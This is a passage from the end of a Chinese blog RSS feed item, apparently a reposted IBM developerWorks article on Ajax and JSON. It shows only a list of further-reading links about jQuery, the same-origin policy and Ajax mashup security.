进行数据传输</a>&#8221;，并了解在 Ajax 应用程序中使用 JSON 作为数据交换格式。<br /><br /></li><li style="font-size: 14px; ">通过包含三部分的系列文章 &#8220;<a href="https://www.ibm.com/developerworks/cn/web/wa-jquery1/" style="font-size: 14px; ">使用 jQuery</a>&#8221;了解 jQuery。<br /><br /></li><li style="font-size: 14px; "><a href="http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy" style="font-size: 14px; ">Browser Security Handbook</a>&nbsp;提供关于同源策略的详细描述。<br /><br /></li><li style="font-size: 14px; ">&#8220;<a href="https://www.ibm.com/developerworks/cn/xml/x-ajaxsecurity.html" style="font-size: 14px; ">征服 Ajax 应用程序的安全威胁</a>&#8221;为确保 mashup 应用程序的安全提供技巧和最佳实践。<br /><br /></li><li style="font-size: 14px; ">&#8220;<a href="https://www.ibm.com/developerworks/cn/xml/x-securemashups/" style="font-size: 14px; ">打造安全 Ajax mashup 的未来</a>&#8221;讲解了如何为混合 Web 应用程序改进浏览器。<br /><br /></li><li style="font-size: 14px; ">浏览&nbsp;<a href="http://www.ibm.com/developerworks/apps/SendTo?bookstore=safari" style="font-size: 14px; ">技术书店</a>，阅读有关这些主题和其他技术主题的图书。</li></ul></td></tr></tbody></table></span></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/364309.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2011-11-19 12:40 <a href="http://www.blogjava.net/xiaomage234/archive/2011/11/19/364309.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>